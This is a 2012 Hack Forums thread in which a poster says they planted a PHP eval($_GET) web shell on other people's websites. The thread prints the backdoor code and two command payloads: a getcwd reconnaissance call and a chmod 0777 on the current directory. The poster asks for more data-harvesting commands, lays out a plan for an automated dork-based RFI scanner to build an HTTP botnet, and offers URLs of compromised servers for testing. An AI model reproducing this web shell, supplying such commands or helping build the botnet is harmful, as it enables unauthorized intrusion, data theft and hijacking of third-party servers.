Hack Forums
Php Eval($_Get) backdoor commands. - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: Php Eval($_Get) backdoor commands. (/showthread.php?tid=2524847)

Php Eval($_Get) backdoor commands. - PseudoMander - May 25, 2012

I've manage to embed multiple copies of
Code
<?PHP
eval ($_GET["command"]);
?>
on a few websites and was hoping to get an open forum going on valuable inputs,
my final goal would be to make an automated googledork based rfi scanner which once embedding the above code on servers would apply various commands and store results in a database to create a comprehensive http botnet.

Can many people think of worthwhile php commands for data harvesting/gathering & system analysis?

I'll start

Code
command=echo getcwd();
Returns the current directory allowing the user to discern, The current filesystem allowing for differentiation between *Nix & Windows systems, as well as frequently revealing the username of the server.

Code
command=chmod(getcwd(),0777);
Attempt to change the file permissions of the current directory allowing for read write and execute to everyone.

Anything people could contribute would be unfathomably appreciated. Also I do have more advanced backdoors but I need to learn to work with the classic, much easier to backdoor into other peoples php files.

AFTERTHOUGHT:

If anyone wants to test this on a partially insecure server just ask and I'll shoot a url your way. (Or use google for an extra challange! I always index my backdoors.)

* - PseudoMander - May 28, 2012

Could a moderator please close this post, I got answers in https://hackforums.net/showthread.php?tid=2530020&pid=22974962

* - Nitai - May 28, 2012

probly, none of the coders would write such a code .